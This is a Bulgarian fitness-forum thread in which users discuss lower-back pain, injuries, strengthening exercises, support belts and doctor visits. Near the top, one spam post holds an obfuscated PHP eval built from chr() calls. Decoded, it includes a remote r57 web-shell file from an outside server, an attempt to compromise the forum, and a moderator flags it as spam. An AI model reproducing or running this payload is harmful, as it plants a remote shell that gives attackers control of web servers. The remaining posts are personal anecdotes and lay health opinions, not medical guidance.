Проблеми с кръста

2. застава на “четири крака” и се извива в гръбнака (”котешко гръбче”).Пак задържа, отпуска и така - десетина пъти

Само за това да те питам - гръбнака нагоре ли се извива(като дъга) или обратно?

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
Спам
ASTOR

test

Още един спам и тека ще те изтествам че няма да можеш да влизаш повече !!!!
ASTOR

Струва ми се добра идея тук да посочите най-рисковите за кръста упражнения и евентуално нерисков “заместник” за всяко от тях, ако знаете такъв. Мисля че този списък ще е много полезен.

Не би било лошо, стига да беше възможно. С какво например ще замениш тягата? Или клека? За второто може на хакен машина ако има такава, ама не е същото, не се налага да балансираш да кажем.
Другите рискови според мен са всички разновидности на гребането (щанга, дъмбел, Т-щанга), раменните преси ако се правят прав и за мен коремните преси.
Но най-рисковото е скапаната техника. Ако се кривиш и кълчиш, особено с непосилни ти тежести какво да очакваш..

[quote author=“Dymag”]Струва ми се добра идея тук да посочите най-рисковите за кръста упражнения и евентуално нерисков “заместник” за всяко от тях, ако знаете такъв. Мисля че този списък ще е много полезен.

На мен хиперекстензиите ми се стуват доста рискови, но въпреки това ги правя, само дето гледам да внимавам. :roll:

В началото ако не внимаваш може да се контузиш (както с всичко, не само с фитнеса). После имат добър ефект - тренрат ти точно мускулите около кръста и е по-трудно да се прецака нещо.

Имам известни проблеми с кръстта,но не са породени от фитнес(и аз незнам точно от какво-може би от по-слаба мускулатура).Ходих на лекар и тои ми препоръча ако го натоварвам(кръстта си) на работа да си купя специален подсилен(с шини отзад) колан.И аз си купих-дадох 100лв.(само да има ефект).Само че като чета тука във форума(пък и от др. места) научавам,че ако го нося постоянно мускулите на кръстта ми могат да атрофират(да го изнежа).Затова искам до го заздравя с някакви ефикасни упранения.Тук четох за едни упражнения-цитирам:
. “Сега всяка сутрин прави едни такива “бабешки” упражнения, като например:1. ляга по гръб на земята със събрани крака и ръце, изпънати над главата, след което протяга/опъва лява ръка и ляв крак, задържа няколко секунди и после повтаря с дясна ръка и десен крак - една серия, 10 повторения;
2. застава на “четири крака” и се извива в гръбнака (”котешко гръбче”).Пак задържа, отпуска и така - десетина пъти; 3. лежейки по гръб, без да вдига крака и да отлепя кръста от земята, просто повдига таза малко (като за едно леееко неприлично движение със сексуален подтекст и отпуска; 4. коремни преси, като повдига единствено горната част на торса, само раменете, без изобщо да отлепя кръста от земята. Това е най-общо, дано съм разбрала правилно какво те интересува и да съм обяснила упражненията добре. Има съответна книжка с тях, чието заглавие и автор, ако те интересува, мога проверя. “
Интересува ме откъде мога да си намеря тази книжka;както и по отношение
на 1-то описано упражнение-по гръб или по корем трябва да лежа,както и по колко серии се изпълняват?[/url][/list]

Книгата и това упражнение не ги знам, но за заздравяване на кръста мога да ти препоръчам “добро утро” и “хиперекстензии”. За начало внимателно, по-малко повторения, особено щом ти е слаб кръста. И се запаси с търпение, ефект след 2 месеца труд поне.
Упражненията (тея двете) мисля, че ги имаше на сайта.
Относно оня подсилващ колан - ако работиш тежък труд може и да има полза от него. Но наистина постоянната му употреба не мисля, че ще доведе до нещо добро. По-скоро ако ще има голямо натоварване, тогава го слагай, все пак да пазиш от контузия, иначе при нормална ситуация без него по-добре.

П.П.: поздравявам те, задето първо си потърсил из форума, а чак после си попитал

Brus73, както и всеки друг с неопределен източник на проблем. Редно е да разбереш причината за проблема. Може да е от неудобно положение докато работиш в местоработата или дори неудобен стол. Имам познат, който си докара дископатия от чертежи - беше чертожник някакъв и работеше прав и наведен над плота с часове. Чувал съм за ... плексит май беше (болката е високо между плешките), докаран от два дена мазане с латекс на таван, което изисква непрекъснато да гледаш нагоре.  Може и да е от много мека пружина на леглото в което спиш - сложи си дъски или матрак. Може у да е от течение, на което се излагаш ежедневно. Знам ли, то упражненията ще помогнат, но потърси внимателно и за евентуална причина. Може и да не е слаби мускули, а нещо много банално, което при всички положения трябва да се прекрати или премахне.

[quote author=“Dymag”]Brus73, както и всеки друг с неопределен източник на проблем. Редно е да разбереш причината за проблема. Може да е от неудобно положение докато работиш в местоработата или дори неудобен стол. Имам познат, който си докара дископатия от чертежи - беше чертожник някакъв и работеше прав и наведен над плота с часове. Чувал съм за ... плексит май беше (болката е високо между плешките), докаран от два дена мазане с латекс на таван, което изисква непрекъснато да гледаш нагоре.  Може и да е от много мека пружина на леглото в което спиш - сложи си дъски или матрак. Може у да е от течение, на което се излагаш ежедневно. Знам ли, то упражненията ще помогнат, но потърси внимателно и за евентуална причина. Може и да не е слаби мускули, а нещо много банално, което при всички положения трябва да се прекрати или премахне.

благодаря!
може с да имаш право-матрака ми е малко изтърбушен и вече си търся нов(дано това да реши проблема)

[quote author=“marzipan”]Книгата и това упражнение не ги знам, но за заздравяване на кръста мога да ти препоръчам “добро утро” и “хиперекстензии”. За начало внимателно, по-малко повторения, особено щом ти е слаб кръста. И се запаси с търпение, ефект след 2 месеца труд поне.
Упражненията (тея двете) мисля, че ги имаше на сайта.
Относно оня подсилващ колан - ако работиш тежък труд може и да има полза от него. Но наистина постоянната му употреба не мисля, че ще доведе до нещо добро. По-скоро ако ще има голямо натоварване, тогава го слагай, все пак да пазиш от контузия, иначе при нормална ситуация без него по-добре.

П.П.: поздравявам те, задето първо си потърсил из форума, а чак после си попитал

тези упражнения не ги знам-за културисти ли са(аз правя си 1-ни от иога)

Ами...да, предполагам...Но хиперекстензиите може да се равят и със собствено тегло само (рядко съм виждал някой, гушнал тежест за тях). От друга страна се правят пък на специална пейка, а доколкото знам в йога се ползва едно килимче най-много..
Не знам доколко ти отговорих на въпроса, най-вече защото не го разбрах съвсем.
А ако не ги знаеш провери ги ;)

[quote author=“marzipan”]Ами...да, предполагам...Но хиперекстензиите може да се равят и със собствено тегло само (рядко съм виждал някой, гушнал тежест за тях). От друга страна се правят пък на специална пейка, а доколкото знам в йога се ползва едно килимче най-много..
Не знам доколко ти отговорих на въпроса, най-вече защото не го разбрах съвсем.
А ако не ги знаеш провери ги ;)

А къде са описани тези упражнения как се правят(”добро утро” и “хиперекстензии”).Проверявах,но всеки само ги цитира без да пояснява как се изпълняват.

Хиперекстензии - http://www.bb-team.org/exercise/000053.php

Иначе по-темата: И аз имах в началото сериозни болки в кръста, даже почти се отказах. Обаче след  2-3 месеца почивка болката премина сама и чух от някъде, че трябва да вкарам яко корем и хиперекстензии, само че напълно правилно изпълнение. Така и направих и сега вече мога да се похваля със ‘железен’ кръст. Не съм имал проблеми от тогава.  :D

[quote author=“Ceko^”]Хиперекстензии - http://www.bb-team.org/exercise/000053.php

Иначе по-темата: И аз имах в началото сериозни болки в кръста, даже почти се отказах. Обаче след  2-3 месеца почивка болката премина сама и чух от някъде, че трябва да вкарам яко корем и хиперекстензии, само че напълно правилно изпълнение. Така и направих и сега вече мога да се похваля със ‘железен’ кръст. Не съм имал проблеми от тогава.  :D

благодаря-а за корем,коремни преси ли правиш?

През 92ра при хвърляне на медицинска топка в училище се сецнах и оттогава до сега кръста винаги ме е болял непрекъснато. Военните лекари ми писаха, че имам дископатия лумбалис, но от казарма не ме освободиха - не знам, колко е сериозно, освен това имам и спина бифида.
Лицеви опори, коремни преси, возене в градския транспорт, продължително време стоене прав предизвикваха големи болки и вкочаняване на кръста.
Миналото лято почнах да правя хиперекстензии и после тяга - първо само с лоста, после с 30 кг, с 40 кг, вече съм на 50 (при собствено тегло 75кг) и дори 55кг, започнах по-късно да правя и коремни преси от голям наклон, но никога повече от 10 в серия - бих казал, че вече кръста не ме боли! Случва се разбира се да ме заболи, но не от тренировката и то сравнително рядко - предимно от продължително време стоене прав или седнал в неподходяща поза.

Мъртва тяга знам, че може да се прави с много големи тежести, но в една книга четох, че за избягване на контузии за такива като мен е препоръчително да правят тягата с тежест равна на собственото им тегло.

Иначе корема го тренирам предимно с вдигане на крака от висилка - от това кръст и гръб не болят.

аз имам изместен прешлен на кръста в следствие скок от височина 2 метра без да си свия краката достатачно добре... т.е. забих се като пирон :)
това стана когато бях малък но и до сега си ме боли кръста като правя коремни преси или когато вдигам краката за “долен корем”.
има обаче един момент в който болката отшумява - след правене на “долен гръб” т.е. когато тренирам мускулите в долната част на гърба те поемат по-ефективно тежеста на тялото и така помагат на изместения прешлен. Реално гърба не ме боли въобще след тренировка (освен ако не вдигна нещо тежко разбирасе)
та съвета ми към хората с проблеми в кръста е да пробват с точно това упражнение - нещо като “обратна” коремна преса мисля че се казваше хиперекстензия. В повечето зали си има специален уред за това :)

Здравейте на всички!
Темата наистина е хубава.Аз се занимавам сьс спорт от 15 години,в момента сьм на 20.Преди няколко години получих травма на крьста,от лошо падане на паркет.Пьрвите дни след контузията ми се случваше докато ходя,така да ме заболи крьста,че да не мога да се дивжа.Спирам на улицата и чакам да ми мине,много силна болко изпитвах.Не отидох на лекар,това може би беше голяма грешка от моя страна.И така с течение на времето болката отшумя.Но и до сега,например когато седя продьлжително време,стана ли почва да ми пука крьста.Сьщо,когато го загрявам чувствам лека болка придружена с изпукване.Мазах се с разни боклуци не дадоха никакьв резултат.Нерв ли сьм засегнал...знам ли?
Поздрави!

Братлета ходя на фитнес вече 3 година.Понякога ме болеше кръста но не обръщах внимание.Та преди седмица ходих на преглед и ми откриха 2 смачкани прешлена.Направо изпаднах в шок как е станало това нещо при положение че не ме е болял кръста от доста време.:( Та ми предстои още един преглед от който ще разбере ще мога ли да стъпя отново в залата :(

Като чета какво контузии са получили някои и се шашкам и аз имам проблеми с кръста започнах да тренирам на 16 сега съм на 22 но с доста продължителни периоди не тренирах за първи път се контузих на лег преса. Бутах доста за крака и май не го правех правилно по време на серията много ме заболя кръста и се прибрах до нас приведен имал съм и болки след дигане на щанга прав за бицепс и май заради гадния чийтинг и повечето кила при 74-75 собствено стигах 50 кг щанга за бицепс, спрях да тренирам но кръста си ме наболяваше и пукаше от няколко месеца пак тренирам и правя коремни и гръбни преси сега няма ядове но не тренирам някои упражнения които да го тормозят, добре е хората да решат дали искат бързо голям мускул или цял живот с патерици.

Да ми е честит първия пост в този хубав форум. :lol:

Прецаках си кръста от чукчета - много килограми и предполагам неправилно изпълнение. Онзи ден бях на зала за пръв път от месец и 1-2 седмици именно заради кръста. Замислих се дали не съм прещипал нерв - боли ме ниско долу встрани. Първите дни болката беше много силна, мазах се с фастум гел и ме облекчаваше. В последните 10-15дни не съм имал пристъпи на болка, разтягам кръста и не пукам, отвреме на време чувствам лека болка. Въпроса ми е имам ли симптоми на прищипан нерв или ? Също така масажите помагат ли ?

Прецаках си кръста от чукчета - много килограми и предполагам неправилно изпълнение. Онзи ден бях на зала за пръв път от месец и 1-2 седмици именно заради кръста. Замислих се дали не съм прещипал нерв - боли ме ниско долу встрани. Първите дни болката беше много силна, мазах се с фастум гел и ме облекчаваше. В последните 10-15дни не съм имал пристъпи на болка, разтягам кръста и не пукам, отвреме на време чувствам лека болка. Въпроса ми е имам ли симптоми на прищипан нерв или ? Също така масажите помагат ли ?

Ходи на лекар, не мисля, че някой тук може да ти даде компетентно мнение. Ако след тренировката онзи ден болките са се върнали давай на травматолог. Ако продължават да отшумяват, карай го леко поне още един месец. Единственото, което ме притеснява, че по това, което си написал, кръстът те е болял повече от 30 дни, което хич не е малко и предполага по-сериозна травма (не се наплашвай де, ако е по-добре - споко).

Аз не отидох не лекар именно щото болката отшумява. От залата оня ден проблеми не съм имал, движа се все по-уверено. Благодаря все пак.

Аз съм на 17 години и преди 5 6 месеца си зимах дъмбел почнах да дигам 15 пати по 10 кг и после след това лицеви вкъщи.Обаче след 2 3 седмици почна да ме боли кръста не знам защо призорил ли сам се не знам.Ходих на доктор прайха ми снимки ходих на скенер и на снимка.Казаха че имам много начален стадий на дископатия и ходих на нагревки 10 пати ходих и на физиотерапия.Физиотерапевтите ми казаха че е растегнат мускул и така не разбрах накрая какво ми има обаче още ме боли искам да трагна на фитнес но не мога и много се ядосвам.Физиотерапевтите ми казаха да забрая ръгби.а преди това ругби тренирах.Казаха ми че и на фитнес не трябва да ходя а пак аз искам да си оправя тялото кажете ми какво да правя. Мерси предварително

Аз преди правех упражнения за корем,които страшно много засягаха кръста ми.Колкото и смешно да прозвучи аз се оправих чрез  Fastum gell :) :) :)

Здравейте!
От 2-3 седмици имам странен проблем в кръста.На фитнес ходя от месец и нещо,но преди това съм трениръл с гири вкъщи около година.Проблема е следния-когато се наведа  кръста ме боли,понякога болката е по-силна а понякога е по-слаба.Интересното е че когато тренирам кръста не ме боли,но да кажем като се наведа да взема тежест за лоста на лежанката и кръста ме заболява замалко и после като се изправя и вече не  усещам!При никакви други движения не ме боли кръста..На 15 години съм.Аз мисля че е заради бързото израстване поради което имам Остгууд Шлатер под дясното коляно което всъщност вече не ме боли.А може ли когато се навеждам  кръста да защипва някой нерв ?

Момчета и момичета пиша да споделя моите патила за да не се случва и на вас това, което се случва на мен.
НЕ ПРАВЕТЕ МЪРТВА ТЯГА НИКОГА цял живот ще съжалявам заради тази мъртва тяга за сега имам само Дискова протрузия.
Най-вероятно съм правил мъртва тяга неправилно макар и с много малка тежест, но повярвайте колкото и сигурни да сте в изпълнението на упражнението РИСКА НЕ СИ СТРУВА
Мога да оприлича мъртвата тяга с изпреварване на завой без да имате видимост!

И сега край на фитнеса край на спорта :(

И още един съвет от мен: при болки в кръста отидете на невролог не губете време със съветите ни от форумите изследванията не болят и могат да ви спестят по-големи проблеми, и не забравяйте няма магазин за резервни части.

Добра вечер :]  .. имам проблем със кръста от бая време , а той е следния от доста време ми пука кръста .. та искам да питам това лошо ли е много ?

значи имам  един въпрос ....  проблема е следния : сутрин като стана  и кръста ми пука ... та искам да питам това лошо ли е много  а и покраи кръста ми пука и вратъ  :blank:  възможно е  да съм правил  “Трапецовидно повдигане на рамене” неправилно (малко по-бързо отколкото трябва)

И аз като правя повдигане на краката от лег и ми пука...мн е гадно  :roll:

Имах адски болки вдясно от гръбначния стълб, дори и в легнало положение - беше някакво нервно възпаление, поради силен недоизлекуван грип, като навсичкото отгоре не спрях и мъртвата тяга. Докторът ми предписа “Мовалис: и винамини Б-комплекс. Сега чувствам лека болка от време на време, когато се претоваря. Успех!

пичове,имам едно въпросче(четох квото четох ама не намерих подобен на моя въпрос).
Значи от преди около 2 месеца редовно си ме боли кръста.Май на мечката много се изсилих една тренировка и оттам се появи болката.
Направих си един експеримент:Натиснах си няколко прешлена на гръбнака(с пръст)и само в един осещам болка като го натискам,другите са добре.
От около 1 месец вече не правя коремни преси на пейка,мечка,клекове,тяги гледам да почивам болката намаля ама още не е отшумяла напълно.
Има ли някой да е имал същия проблем и да ми каже как се е справил с него?
Да си призная за кръст не съм тренирал сериозно и ми е слабичък.